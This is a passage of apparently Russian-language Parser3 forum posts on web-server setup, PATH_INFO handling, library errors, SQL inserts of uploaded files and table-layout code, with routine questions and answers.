Мне кажется избыточным создание объектов для каждого года, месяца и дня. Не трудно разобрать строку 2006/02/06 в переменные и на их основании делать выборку новостей из базы.\
\
[code]@get_uri[][/code]\
\
Представил. Тогда все отлично, метод излишен. Но по факту у меня такого объекта нет :)"
"49543","[quote]\
ну можно вообще этот байт выкинуть, написать $a(0x6600000000), и Парсер все равно его обрежет.\
[/quote]\
Для хранения целого числа типа int выделено всего 32 бита. Задав в шестнадцатеричном виде $a(0x6600000000) вы задаете значения 40-ка битов. Поэтому естественно старшие 8 обрезаются.\
[color=\"#ff0000\"]0110 0110[/color] 0000 0000 0000 0000 0000 0000 0000 0000\
\
   * * *\
В документации Парсера ничего не говорится о типе unsigned int.\
\
   * * *\
[code]\
^if(0x9F000000 is double){sure, it is}\
^if(0x66000000 is double){sure, it is}\
^if(25 is double){sure, it is}\
$a(25)\
^if($a is double){sure, it is}\
^if(^a.int(0) is double){sure, it is}{NO!}\
^if(^a.int(0) is int){sure, it is}\
[/code]\
\
Получается, что записав $a(25) мы получаем double.\
Странно."
"49544","Просто мне нравится что его можно без инстала использовать. Жаль такой возможности да Ultra Edit нету. Если есть, сообщите пожалуйста... :)"
"49545","Согласен, что за несколько лет существования сайта новостей может накопиться не мало и таблица объектов будет содержать целую тучу объектов.\
\
В таком случае я все равно считаю, что request:uri надо разбирать перед вызовом метода @get_id[uri].\
Если объект с путем uri отсутствует, то логично сообщить об этом, а не выдавать ид ближайшего предка."
"49547","Столько концептуальных решений, о которых не всякий работавший несколько лет на PHP/Perl додуматься может. \
Парсер действительно рулит.\
Благодаря дальновидности разработчиков,\
меньшим количеством кода можно добиваться большего, \
чем на любом другом языке применяемом в web.\
\
На нем приятно работать, только жаль что нет сформировавшейся библиотеки аля PEAR (хотя сформировавшимся его можно назвать только с большой натяжкой) или CPAN\
и интерфейса для расширения языка на С"
"49549",".pos[] и .offset[] рулят :)\
0 - любимое число программиста =)"
"49550","Серьезно, почему нет?"
"49551","Через <a href= пробовал не получается! Будем искать выход! Спасибо всем кто откликнулся!"
"49553","база MySQL, но в итоговом запросе получается как раз-таки не \
LIMIT 0, с этим проблем никаких, а получается что-то типа \
LIMIT 125,20... но как я понял прцесс начинает пожирать память не на стадии выполнения запроса, а в результате ^table.select() в применении к таблице содержащей 0 рядов. Судя по table.C такого быть не должно, попробую на втором сервере откатиться до более старых библиотек..."
"49557","Идете в папку cgi-bin там есть parser.log в котором скорее всего постелняя строка будет содержать вашу ошибку.\
что-то типа того:\
\
[Mon Feb  6 10:06:09 2006] [9818] /: \
сначала путь к файлу в котором происходит ошибка и строка на которой она происходит\
/home/.../public_html/auto.p(строка:колонка): \
ну и сама ошибка\
'mysql://****@localhost/site_DBname' Access denied for user 'site_user'@'localhost' (using password: YES) [sql.connect]\
\
поменяй пароль и имя на свои и все..."
"49558","Вопрос этот в форуме неоднократно поднимался, однако однозначного решения никто пока не предложил.\
\
Суть проблемы в следующем:\
Необходимо установить Parser на сервер Eserv (http://www.eserv.ru/). На нем уже работает PHP, Perl и в настоящее время используется Wiki.\
\
Имеем некий сайт http://cms_test/\
Пытаемся обратиться к странице /path/index.html\
http://cms_test/path/index.html\
При использовании Win32-версии Apache (Denwer) переменные окружения принимают вид:\
\
REMOTE_ADDR: 127.0.0.1 \
PATH_INFO: /path/index.html \
REQUEST_URI: /path/index.html \
SCRIPT_NAME: /cgi-glob/parser3/parser3_wrapper.exe\
\
Если попытаться то же самое повторить на Eserve-у то переменные окружения принимают вид:\
\
REMOTE_ADDR: 127.0.0.1 \
PATH_INFO: пусто\
REQUEST_URI: /path/index.html \
SCRIPT_NAME: /path/index.html \
\
Т.е. Переменная PATH_INFO  (что, как выясняется справедливо для PHP и Perl) заполняется только если:\
http://cms_test/path/index.html/asas\
\
причем в нее кладется\
/asas\
\
Просмотрев документацию к Parser-у я обратил внимание, что для него это критично критично и вслуча ее пустоты он вылетает"
"49559","...что они думают по поводу соответствия вамиописаного и http://hoohoo.ncsa.uiuc.edu/cgi/env.html\
\
возможно у упоминаемого вами продукта есть механизмы которые позволяют включить совместимость со стандартом."
"49560","Доступ к файлу есть. У меня вопрос к уважаемому PAF - библиотека libparser3mysql.so может работать с 64-битной версией mysql, а конкретно с libmysqlclient.so?\
Для меня это достаточно важно, т.к. предложение о смене хостера не подходит ибо хостинг куплен совсем недавно."
"49561","Можно отключить проверку FOREIGN KEYS на время создания структуры следующим образом:\
\
-- В начале дампа пишем\
SET FOREIGN_KEY_CHECKS = 0;\
\
\
-- В конце дампа пишем\
SET FOREIGN_KEY_CHECKS = 1;"
"49562","В свежеустановленном модуле апача (Parser/3.2.1sp1 (compiled on i386-pc-win32)) действительно не принимается PATH_INFO."
"49563","Добрый день! \
\
Провайдер обновил сервер, пытаюсь установить парсер - не получается. \
\
содержимое .htaccess: \
Options +ExecCGI\
AddDefaultCharset UTF-8\
AddHandler parsed-html .html\
Action parsed-html /parser/bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
        Order allow,deny\
        Deny from all\
</Files>\
\
права на парсер: \
-rwxr-xr-x  1 ad users 5393640 Mar  9 12:32 parser3.cgi\
\
месторасположение парсера:\
/home/web/ad/web/parser/bin\
\
вывод error_log:\
File does not exist: /home/web/ad/web/parser/bin/parser3.cgi/text-o-session/index.html\
\
настройка вхоста: \
<VirtualHost *>\
  ServerName MyHost\
  DocumentRoot /home/web/ad/web\
  DirectoryIndex index.html\
  <Directory /home/web/ad/web>\
    AllowOverride All\
      <IfModule mod_access.c>\
        Order allow,deny\
        Allow from all\
      </IfModule>\
  </Directory>\
</VirtualHost>\
\
MyHost - поменял нарошно с реального домена. \
\
Linux localhost 2.6.14-gentoo, apache 2\
\
FAQ читал :-) в чём могут быть грабли?"
"49564","... тестового хостинга? Ну или киньте в мыло логинопароль, если не боитесь %) могу попробовать посмотреть, что там у вас..."
"49565","Updated:\
+ добавить в VirtualHost:\
ScriptAlias  /parser/bin/  /home/web/ad/web/parser/bin/\
"
"49567","код парсера, разумеется :-) \
\
из коммандной строки работает. \
\
пробовал\
добавил в htaccess: \
AddHandler cgi-script pl\
\
first.pl - отработало\
#!/usr/bin/perl\
print \"Content-type: text/html\\r\\n\\r\\n\";\
print \"Hello, World.\";\
\
\
Попробую (просто не так просто - хост всё-таки не мой..)\
ScriptAlias /parser/bin/ /home/web/ad/web/parser/bin/\
\
Насколько я понял из документации к апачу (http://httpd.apache.org/docs/2.0/howto/cgi.html#cgioutsideofscriptaliasdirectories) можно обойтись и без предложенного Вами шага (ScriptAlias), только директивой +ExecCGI в htaccess, но попробую."
"49568","По запросу mod_auth_mysql на форуме мало что нашлось..."
"49570","насколько мне известно - htaccess действует на все папки и подпапки (рекурсивно). http://httpd.apache.org/docs/2.0/howto/htaccess.html - \"A file, containing one or more configuration directives, is placed in a particular document directory, and the directives apply to that directory, and all subdirectories thereof.\"\
\
в любом случае - я пробовал прямо в корень класть к фвйлу htaccess - тот же результат :-("
"49571","У меня такая проблемма,пробовал писать новостной раздел по примерам из документации, все прописал все классы прописал, выдает ошибку: \"неопределенный метод\"\
-----------------------------------------------------------------\
Вод коды файлов:\
-----------------------------------------------------------------\
auto.p-корневой.\
---\
@dbconnect[code]\
^connect[$connect_string]{$code}\
# connect_string определяется в методе @auto[]\
# $connect_string[mysql://root@localhost/p3test]\
@auto[]\
$connect_string[mysql://root@localhost/p3test]\
$CLASS_PATH[table]\
@main[]\
^header[] \
^body[]\
^footer[] \
@header[] \
<html>\
<head> \
<title>Тестовый сайт Parser3</title> \
</head> \
<body bgcolor=\"#F9A344\"> \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
<tr bgcolor=\"#E6E6E6\" height=\"60\"> \
<td align=\"center\"> \
<font size=\"+2\"> <b>^greeting[]</b></font> \
</td> \
</tr> \
</table> \
@body[] \
^navigation[] \
<table width=\"100%\" height=\"65%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
<tr bgcolor=\"#ffffff\" height=\"100%\"> \
<td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\"> \
<b>^body_additional[]</b> \
</td> \
<td width=\"70%\" valign=\"top\"> \
^body_main[] \
</td> \
</tr> \
</table> \
<br>\
@navigation[] \
$sections[^table::load[/sections.cfg]] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
<tr bgcolor=\"#FFFFFF\"> \
^sections.menu{ \
^navigation_cell[] \
} \
</tr> \
</table> \
<br> \
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
<td width=\"$cell_width\" align=\"center\" bgcolor=\"#A2D0F2\"> \
<nobr>$sections.name</nobr> \
</td> \
}{ \
<td width=\"$cell_width\" align=\"center\"> \
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
</td> \
} \
@footer[] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\"> \
<tr> \
<td></td> \
</tr> \
</table> \
$now[^date::now[]] \
<font size=\"3\"> \
<center>Powered by Parser3<br>1997-$now.year</center> \
</font> \
</body> \
</html> \
-----------------------------------------------------------------\
Index.html-раздела news.\
---\
@main[]\
$CLASS_PATH[]\
@USE\
/classes/dtf.p\
/classes/lib.p\
/classes/mssql.p\
/classes/mysql.p\
/classes/oracle.p\
/classes/pgsql.p\
/classes/sql.p\
/classes/scroller.p\
@main[]\
^if(!def $form:id){\
^rem{ *** $form:id не определена: показываем календарь со списком новостей *** }\
\
^rem{ *** получаем информацию о календаре и выводим его *** }\
$calendar[^getCalendar[$.article_type_id(1)]]\
^printCalendar[$calendar]\
\
^rem{ *** получаем список последних новостей или новостей за указанный период и выводим его *** }\
$article[^getArticles[\
$.article_type_id(1)\
^if(^form:year.int(0)){\
$.where[dt >= '^form:year.int(0)-^form:month.int(0)-00' AND dt <= '^form:year.int(0)-^form:month.int(0)-31']\
}{\
$.limit(20)\
}\
]]\
^if($article){\
^printArticles[$article]\
}{\
<p>Не найдено ни одной новости за указаный период.</p>\
}\
}{\
^rem{ *** $form:id определена: достаем и показываем новость с выбранным id *** }\
$article[^getArticles[\
$.article_type_id(1)\
$.id(^form:id.int(0))\
]]\
^if($article){\
^printArticle[$article]\
}{\
^rem{ *** указали такую id, новости с которой не существует... посылаем посетителя на... 404 ошибку. *** }\
^location[/404/]\
}\
}\
\
\
@getArticles[lparams][params]\
$params[^hash::create[$lparams]]\
$result[^MAIN:pSQL.table{\
SELECT\
article_id AS id,\
title,\
lead,\
dt\
^if(^params.id.int(0)){, body}\
FROM\
article\
WHERE\
article_type_id = ^params.article_type_id.int(0) AND\
is_published = 1 AND\
dt_published <= ^MAIN:pSQL.now[]\
^if(^params.id.int(0)){\
AND article_id = ^params.id.int(0)\
}\
^if(def $params.where){\
AND $params.where\
}\
ORDER BY\
dt DESC\
}[\
^if(def $params.limit){$.limit($params.limit)}\
^if(def $params.offset){$.offset($params.offset)}\
]]\
@printArticles[article]\
<ul>\
^untaint[as-is]{\
^article.menu{\
<li><b>^dtf:format[%d.%m.%Y;$article.dt]</b>\
^printTitle[$article]\
<br />$article.lead</li>\
}\
}\
</ul>\
#end @printArticles[]\
\
\
@printTitle[article]\
^if(def $article.title && ^article.title.match[\\^[[^^\\^]]+\\^]]){\
$result[^article.title.match[\\^[([^^\\^]]+)\\^]][g]{<a href=\"?id=$article.id\">$match.1</a>}]\
}{\
$result[<a href=\"?id=$article.id\">$article.title</a>]\
}\
@printArticle[article]\
^untaint[as-is]{\
^if(def $article.title){<h1>^article.title.match[[\\[\\]]][g]{}</h1>}\
^dtf:format[%d %h %Y;$article.dt;$dtf:rr-locale]\
<p>$article.body</p>\
}\
@getCalendar[lparams][params]\
$params[^hash::create[$lparams]]\
$result[^MAIN:pSQL.table[news] {\
SELECT\
^MAIN:pSQL.month[dt] AS month,\
^MAIN:pSQL.year[dt] AS year\
FROM\
article\
WHERE\
article_type_id = ^params.article_type_id.int(0) AND\
is_published = 1 AND\
dt_published <= ^MAIN:pSQL.now[]\
GROUP BY\
year,\
month\
}]\
@printCalendar[calendar][now;curr_year;curr_month;y_hash;ym_hash;i;m]\
^if($calendar){\
$now[^date::now[]]\
$curr_year(^form:year.int(^dtf:format[%Y]))\
$curr_month(^form:month.int(^dtf:format[%m]))\
\
$y_hash[^calendar.hash[year;year][$.distinct(1)]]\
$ym_hash[^calendar.hash{^calendar.year.format[%04d]=^calendar.month.format[%02d]}[month][$.distinct(1)]]\
$year[^y_hash._keys[]]\
^year.sort($year.key)[desc]\
\
<table border=\"1\" align=\"right\">\
<tr valign=\"top\">\
<td>\
^year.menu{\
<b>^if($year.key == $curr_year){\
$year.key /&nbsp^;\
}{\
^rem{ *** если кликнем в год, по попадем на последний месяц года, \
за который у нас есть новости *** }\
^if(^calendar.locate[year;$year.key]){}\
<a href=\"?year=$year.key&month=$calendar.month\">$year.key</a>\
}\
</b><br />\
}\
</td>\
<td>\
^if(^year.locate[key;$curr_year]){}\
^for[i](0;11){\
$m(12-$i)\
^if(def $form:month && $m == $curr_month){\
<b>$dtf:[ri-locale].month.$m</b><br />\
}{\
^if(!($now.year == $curr_year && $m > $now.month)){\
^if($ym_hash.[^curr_year.format[%04d]=^m.format[%02d]]){\
<a href=\"?year=$curr_year&month=$m\">$dtf:[ri-locale].month.$m</a>\
}{\
$dtf:[ri-locale].month.$m\
}\
<br />\
}\
}\
}\
</td>\
</tr>\
</table>\
}\
-----------------------------------------------------------------\
Помогите пожалуйста, подскажите где ошибка!"
"49572","в общем у меня других мыслей нет.\
может какой спец в настройках апача подскажет."
"49574","и вам не приходило в голову, что не надо копировать абсолютно весь код в файлы, а стоит сделать это лишь с необходимым?\
\
вам не приходило в голову почитать и попробовать понять сообщение об ошибке?\
\
или может возникло сомнение зачем несколько раз писать $CLASS_PATH?\
\
а может возникло желание понять для чего этот $CLASS_PATH нужен?\
\
или может в примере про новости вы обратили внимание на буквы \"Сразу отмечу, что код, написанный ниже, использует класс для работы с датами и некоторые методы, описанные в полезных пользовательских операторов. Кроме того подразумевается, что в $MAIN создан объект pSQL одного из sql-ных классов и сам код исполняется внутри метода server этого объекта.\", а потом пошли прочитали текст по приводимым ссылкам и захотели сделать что там написано?\
\
мой диагноз (я вам говорил его раньше): вы не выполнили \"уроки\" из документации. да, формально вы может и скопировали что-то куда-то, и может даже у вас помле этого что-то заработало. но вы не поняли что вы делаете и зачем. предлагаю ещё раз вернуться к ним и разобраться с ними. ибо в противном случае даже если сейчас вам исправят ошибки в этой вашей проблеме вы наступите на аналогичную на следующей-же задаче."
"49575","... вопрос я задал, т.к. в форуме нашел информацию, что вроде-как Apache-dll версия Parser-a не нуждается в постоянном наличии PATH_INFO (http://www.parser.ru/forum/?id=1897).\
\
Соответсвенно, у меня возник вопрос, возможно ли решить эту проблему средствами самого Parser-a..."
"49576","я конечно, возможно, не правильно понимаю, но:\
\
\"PATH_INFO\
\
The extra path information, as given by the client. In other words, scripts can be accessed by their virtual pathname, followed by extra information at the end of this path. The extra information is sent as PATH_INFO. This information should be decoded by the server if it comes from a URL before it is passed to the CGI script.\"\
\
... как мне кажется отсюда следует, что PATH_INFO - extra information в конце пути скрипта.\
\
В моем случае адрес скрипта - SCRIPT_NAME: /path/index.html\
соответственно, extra path можжет быть только то, что следует за этим адресом, т.е. если бы адрес запрашиваемой страници был бы /path/index.html/aaaa\
\
то PATH_INFO был бы /aaaa.\
\
Если рассмотреть задачу с другой стороны, а именно, считать что SCRIPT_NAME: /cgi-glob/parser3/parser3_wrapper.exe (или parser3.exe, не суть) то по логике вещей extra path, PATH_INFO есть адрес страницы /path/index.html, который ему рередается в качестве параметра при запуске (если я правильно понимаю).\
\
Если это так, то возникает вопрос: как заставить сервер воспринимать:\
SCRIPT_NAME: /cgi-glob/parser3/parser3_wrapper.exe\
\
вместо:\
\
SCRIPT_NAME: /path/index.html\
\
?"
"49577","в англоизычных манах вообще разобраться не могу..."
"49578","И не надо будет ничего искать. А вообще учите алб.. английский — всегда пригодится."
"49579","[code]^MAIN:sqlconnect{\
  ^void:sql{insert into news (date, name, short, full, image1, image2, \
image3, image4, image5, image6, image7)\
  	values ('$form:date', '$form:name', '^untaint[html]{$form:short}', \
'$form:full', '', '^file2.sql-string[]', '^file3.sql-string[]', '', '', '', '') \
    }}[/code]\
\
Когда в поле values оставляю либо ^file2.sql-string[], либо ^file3.sql-string[], нужный файл в нужное поле загружает.\
Но если ставлю ^file2.sql-string[] и ^file2.sql-string[] вместе (как в коде выше), выдает:\
\"[i]undefined method[/i]\
 [b]Ошибку вызвал этот фрагмент:[/b]\
 [i]sql-string[/i]\""
"49581","Можно конечно, только проще обычную сделать :)\
\
UPD:\
Обычную — например, как на этом сайте"
"49582","[code]<?\
if (($PHP_AUTH_USER==\"\")&&($PHP_AUTH_PW==\"\")){\
        Header(\"HTTP/1.0 401 Auth Required\");\
        Header(\"WWW-authenticate: basic realm=\\\"Privet!\\\"\");\
     exit;\
};\
echo \"$PHP_AUTH_USER<br>\";\
echo \"$PHP_AUTH_PW\";\
?>[/code]"
"49583","Только я не понял из-за чего эта ошибка - «|» не является служебным символом…"
"49586","Все равно немогу ниче понять! Только не говорите что не хочу!"
"49587","…или не сильно хотите.\
\
Для того чтобы научится читать, нужно, как минимум, знать алфавит.\
\
Вы сейчас знаете несколько букв, а хотите написать поэму."
"49588","Причем, нужно это сделать до выполнения sql-запроса.\
Может оказться, что file2 и file3 попросту не существует, или там содержится не то, что нужно."
"49589","Задача - сформировать абсолютную ссылку на сайт.\
Пишу: http://${env:SERVER_NAME}$request:uri?$request:query\
Всегда будет выдаваться http://server.ru, и у пользователей, которые зашли на www.server.ru, при переходе по сгенерированному урлу будет теряться cookie.\
Как проверить наличие www.? \
(да, конечно же, субдомен www. - alias и никак не контролируется)"
"49590","[code]\
RewriteCond %{SERVER_NAME} !^www\\.\
RewriteRule ^(.*)$ http://www.%{SERVER_NAME}/$1 [L,R,QSA]\
[/code]"
"49592","В моих классах большая часть методов работает на админку. Поэтому получается, что в обычном режиме (не администраторском)компелируется лишний код.\
\
Хотелось бы что бы методы необходимые для администрирования поключались только когда это необходимо. Для этого я в конструкторах добавил параметр $.for_admin(0). Если там единица, то подключаю необходимый модуль с операторами, а также не кеширую запросы.\
\
Но вот, сам того не ожидая, столкнулся с проблемой при испольлзовании оператора ^use[] :)\
\
Ситуация следующая:\
\
Конструктор динамического класса подключает модуль с операторами…\
[code]\
############## my_class.p ##############\
@CLASS\
my_class\
\
@create[]\
# ...\
^use[my_class_admin.p]\
# вызываем подключенный оператор\
^operator_1[]\
# все в порядке\
# ...\
# end of @create[params]\
#######################################\
\
########### my_class_admin.p ###########\
@operator_1[]\
# ...\
# end of @method[]\
#######################################\
[/code]\
\
…и юзает их там у себя (внутри класса) без проблем.\
\
Но, когда я создаю объект этого класса\
[code]\
$OBJECT[^my_class::create[]]\
[/code]\
и пытаюсь вызвать метод\
[code]\
^OBJECT.operator[]\
[/code]\
то объект его не видит.\
\
Почему?"
"49593","вам нужно вкомпилить методы в ваш класс.\
\
например обычный ^process или что-то типа этого: http://www.parser.ru/forum/?id=27183"
"49594","[b]Задача:[/b]\
Вывести результат деления на 2 количества выведенных строк таблицы tmp_cat, при условии что этот результат является целым числом, если результат не целый к нему нужно прибывить 1.\
Пример: [code]^tmp_cat.count[][/code] возвращает \"9\", при делении этот числа результатом не является целое число, значит к нему нужно прибавить 1. В итоге получется 5.\
Вре результаты - целые числа.\
\
Почему следующая конструкция не работает:\
[code]^eval(^tmp_cat.count[]\\2 ^if(^tmp_cat.count[]\\2 == 0){}{+1})[/code]\
\
А при использовании такой конструкции получается нужный результат:\
[code]^if(^tmp_cat.count[]\\2 == 0){^eval(^tmp_cat.count[]\\2)}{^eval(^tmp_cat.count[]\\2+1)}[/code]"
"49595","находил подобный сабж гдето на форуме но не могу вспомнить дайте урлу чтобы качнуть\
зы СМС тчочно не egroвская"
"49597","Оператор ^eval() принимает на обработку только математические выражения (об этом говорят круглые скобки).\
\
Например:\
[code]\
$my_number(^eval(2*2))\
$a(^eval(2*2))\
$b(^eval((^get_number[]+^get_amount[])+(12/2)))\
[/code]\
\
\
P.S.\
[code]\
$a(^tmp_cat.count[])\
$b($a\\2 + $a%2)\
[/code]"
"49599","может просто\
[code]^math:ceiling($tmp_cat)[/code]\
?"
"49600","У меня несколко полей для загрузки файлов в БД. Причем не обязательно в каждом поле нужно выбрать файл для загрузки, т.е. выбрать только нужные, а ненужные поля оставить пустыми.\
\
Делаю цикл проверки наличия файла в поле:\
^for[n](1;7){\
	^if(def $form:image$n){\
		$img$n[^form:image$n.sql-string[]]\
	}{\
		$img$n[]\
	}\
}\
 ^MAIN:sqlconnect{\
  ^void:sql{insert into news (date, name, short, full, image1, image2, \
image3, image4, image5, image6, image7)\
  	values ('$form:date', '$form:name', '^untaint[html]\
{$form:short}', '$form:full', '$img1', '$img2', '', '', '', '', '') \
    }}\
\
Выдает ошибку что нельзя использовать sql-string вне запроса к БД.\
\
Если же я пишу sql-string напрямую в поле запроса, то если одно из полей остается пустым, опять же выдает ошибку (объект не существует).\
\
Как быть?"
"49602","И еще в английском форуме (Парсера) - там была ветка про переменные окружения и борьбу с хостерм guest-hosting.ch\
Наверное у вас просто ENV у хостера транслированы. Я тогда выкрутился последовав совету Паф-а и наваял cgi-warper (в английском форуме - подробности)."
"49603","Версия parser 3.1.3 (давний проект - внезапно умер и пришлось разбираться :-)))) 500 ошибка\
Вот что я вижу у хостера (его преждевременно не хочу ругать ;-)\
[quot]FreeBSD 6.0-STABLE[/quot]  \
(из uname -a через sh cgi-скрипт)\
Вот кусок лога:\
[quot][Wed Feb  8 00:13:04 2006] [error] [client *.*.*.*] Premature end of script headers: /home/***/www/cgi-bin/parser3.cgi\
/usr/libexec/ld-elf.so.1: Shared object \"libcrypt.so.2\" not found, required by \"parser3.cgi\"[/quot]\
В листинге /usr/lib (через тот же sh сgi-скрипт) \
существует только \
[code]\
...\
/usr/lib/libcrypt.a\
/usr/lib/libcrypt.so -> /lib/libcrypt.so.3\
/usr/lib/libcrypt_p.a\
/usr/lib/libcrypto.a\
/usr/lib/libcrypto.so -> /lib/libcrypto.so.4\
/usr/lib/libcrypto_p.a\
...\
[/code]\
\
Полагаю, что при обновлении софта админами не было использовано что-то вроде compat4x  FreeBSD 4.x binary compatibility. Пока только отписал им проблему, жду.\
\
IMHO \"ошибки установки parser\" и т.д. в этом треде, скорее всего, ни при чем."
"49606","Как построить таблицу на основе данных из БД таким образом:\
[code]\
<table cellpadding=\"10\" cellspacing=\"0\" width=\"100%\" style=\"font-size:70%\"> \
	<tr> \
		<td valign=\"top\" width=\"25%\">1 новость</td> \
		<td valign=\"top\" width=\"25%\">2 новость</td> \
		<td valign=\"top\" width=\"25%\">3 новость</td> \
		<td valign=\"top\" width=\"25%\">4 новость</td> \
	</tr> \
	<tr> \
		<td valign=\"top\" width=\"25%\">5 новость</td> \
		... \
	</tr> \
	...\
</table>\
[/code]\
?\
\
Пробовал циклом:\
[code]\
$events[^table::sql{\
		SELECT\
			events.id,\
			header,\
		FROM\
			events\
		LEFT JOIN events_dates ON events.id=events_dates.id\
		WHERE \
			events_dates.date > '${now.year}-${week_of_month.month}-${week_of_month.day}'\
		ORDER BY 'DATE' ASC\
	}[$.limit(15)]]\
\
<table cellpadding=\"10\" cellspacing=\"0\" width=\"100%\" style=\"font-size:70%\"> \
^events.menu{\
	<tr> \
	^for[events](1;4){ \
		<td valign=\"top\" width=\"25%\"><a href=\"/events/?id=$events.id\">^taint[optimized-as-is][$events.header]</a></td> \
	}\
	</tr> \
}\
</table> \
[/code]"
"49607","[code]\
$events[^table::sql{...}]\
^for[row](1;^math:ceiling(^events.count[] / 4)){\
	<tr>\
		^for[col](1;4){\
			^events.offset[set]($row * $col)\
			<td>\
				$events.header<br>\
				<small>($row — $col)</small>\
			</td>\
		}\
	</tr>\
}\
[/code]"
"49609","Сделал сам все примеры по созданию пробного сайта, т.е 6, и еще по некоторым примерам из документации!"
"49610","Есть в документации. Все. Вы просто ее еще не прочитали. Главное — внимательно и вдумчиво, чтобы не пороть горячку при первой же ошибке."
"49611","[code]@main[][t]\
$t[^table::create{id\
^for[i](1;50){$i\
}}]\
\
<table border=\"1\">\
^tableInColumns[t](4){$t.id}\
</table> \
\
@tableInColumns[tableName;cols;cellCode][cellWidth]\
$cellWidth[^math:floor(100/$cols)%]\
<tr>\
\
^caller.[$tableName].menu{\
	<td width=\"$cellWidth\">$cellCode</td>\
\
	^if(^caller.[$tableName].line[] != $caller.[$tableName] && !(^caller.[$tableName].line[] % $cols)){</tr><tr>}\
\
}\
\
^for[i](1;$cols - $caller.[$tableName] % $cols){<td><br/></td>}\
\
</tr>\
[/code]"
"49612","PARSER_ERROR:exception in request exception handler: 0xC0000005 at 0x100427C3\
\
parser3isapi 3.1.6sp1 без xml (20/01/06)\
parser3mysql от 24/12/04\
libmysql от mysql 5.0.18\
\
до этого стоял 3.0.8 - не падал, но настойчиво жрал память (до 300mb в сутки)."
"49613","1. [quote]$cellWidth[^math:floor(100/$cols)%][/quote]\
нельзя так делать. при $cols = 3 получим 33, 33, 33 вместо 33, 33, 34. последний (или первый) столбец надо ичитать иначе.\
\
2. width=\"...\" можно вывести только у первой <tr/>\
\
3. [quote]^caller.[$tableName].menu{...}[/quote]\
почему-бы не передать $table и не писать ^table.menu{...}?"
"49614","Знаю теперь, когда попробовал :-)\
\
[code]@main[][t]\
$t[^table::create{id\
^for[i](1;50){$i\
}}]\
\
<table border=\"1\">\
^tableInColumns[$t](3){$t.id}\
</table>\
\
@tableInColumns[table;cols;cellCode][cellWidth;i]\
$cellWidth(^math:floor(100/$cols))\
\
<tr>\
\
^table.menu{\
\
	<td^if(^table.offset[] < $cols){ width=\"^if(^table.offset[];$cellWidth;100 - $cellWidth * ($cols - 1))%\"}>$cellCode</td>\
\
	^if(^table.line[] != $table && !(^table.line[] % $cols)){</tr><tr>}\
\
}\
\
^if($table % $cols){\
	^for[i](1;$cols - $table % $cols){<td><br/></td>}\
}\
\
</tr>[/code]"
"49615","На одном из хостингов парсер выдает вот такую ошибку в логе:\
parser3.cgi: /lib/libc.so.6: version `GLIBC_2.2.4' not found (required by parser3.cgi)\
[Wed Feb  8 12:23:13 2006] [error] [client 195.91.195.178] Premature end of script headers: /home/clients/w_russta/public_html/cgi/parser3.cgi\
\
uname -a выдает такое:\
Linux fairy.dataforce.net 2.4.30-ow1 #1 SMP Fri May 13 18:44:30 MSD 2005 i686 unknown\
\
Скажите, это как-нибудь лечится без обращения к хостерам (ssh доступ есть)?"
"49616","[code]\
@main[]\
# создаем тестовую табличку:\
$t[^table::create{id\
^for[i](1;17){=$i=\
}}]\
\
# пример работы метода:\
<table border=\"1\" cellspacing=\"0\" cellpadding=\"5\" width=\"300\" style=\"font-size: x-small\">\
	^cmenu[$t](2){<tr^if((^t.offset[] / $cols) % 2){ bgcolor=\"#efefef\"}>}{\
		<td>$t.id</td>\
	}{\
		<td><br></td>\
	}[</tr>]\
</table>\
# end @main[]\
\
# table - исходная таблица\
# cols - количество ячеек в строке\
# tr_start и tr_stop - открывающий и закрывающий тег <tr>\
# code - код, для каждой ячейки\
# code_empty - код для оставшихся пустых ячеек (не обязательный параметр)\
#              если не задан - пустые ячейки не выводятся (они излишни в XML)\
@cmenu[table;cols;tr_start;code;code_empty;tr_end][_tr_end]\
$_tr_end[^if(def $tr_end){$tr_end}{$code_empty}]\
$caller.cols($cols)\
^table.menu{\
	^if(!(^table.offset[] % $cols)){$tr_start}\
	$code\
	^if(^table.offset[] == $table - 1 && def $tr_end){\
		^for[n](1;$cols * ^math:ceiling($table / $cols) - $table){$code_empty}\
	}\
	^if(^table.offset[] % $cols == $cols - 1){$_tr_end}\
}\
# end @cmenu[]\
[/code]\
\
\
[b]2Misha v.3[/b]\
Может быть в FAQ, рядом с @foreach-ем?..."
"49617","Если я равильно понимаю, то file2 - файл, если это так, то можно попробовать проверить это:\
^if(def $file2 && $file2 is \"file\")\
\
Можно исользовать ^try() для перехвата ошибок, в крайнем случае..."
"49619","[code]^MAIN:sqlconnect{\
 ^for[n](1;7){\
 	^if(def $news.image$n){\
 		$file[^file::sql{select image$n from news where id='$form:to'}}]\
 		<img src=\"$file.image$n.name\">\
 	}\
 }\
}[/code]\
\
Появляются только рамки от картинок. В свойствах написан неправильный путь. Что неправильно?"
"49620","Он ведь только в базе есть, и на диск при вытаскивании из базы не сохраняется. В вашем случае нужно смотреть в этом направлении:\
\
[code]\
^if(def $news.image$n){\
	$file[^file::sql{select image$n from news where id='$form:to'}}]\
	$image[^image::measure[$file]]\
	^image.html[]\
}\
[/code]"
"49622","Сделал так:\
[code]^for[n](1;7){\
 	^if(def $news.image$n){\
 		$file[^file::sql{select image$n from news where id='$form:to'}}]\
		$image[^image::measure[$file.image$n]]\
		^image.html[]\
 	}[/code]\
Пишет что у парсера нет прав доступа к этому файлу."
"49623","Как можно сделать такое - есть форма логина и пароля, ее нужно скрыть от всех, то есть нужно сделать свою форму, получить имя и пароль и передать ее как-то в ту форму. \
Смысл - сделать доступ к сайту через сайт-посредник и для сокрытия реальных путей и передаваемых параметров."
"49625","[code]\
$news[^table::sql{SELECT... }]\
# кол-во колонок в таблице\
$cols(4)\
# количество строк таблицы\
$i(0)\
# Переводим таблицу в хеш-таблицу, ключами которого являются номера срок.\
$news[^news.hash{^if(^news.line[]<=$cols*($i+1)){$i}{^i.inc(1)$i}}[$.distinct[tables]]]\
# каждую таблицу из хеша таблиц переводим в хеш, ключами которого будут порядковые номера ячеек в строке\
^news.foreach[key;value]{\
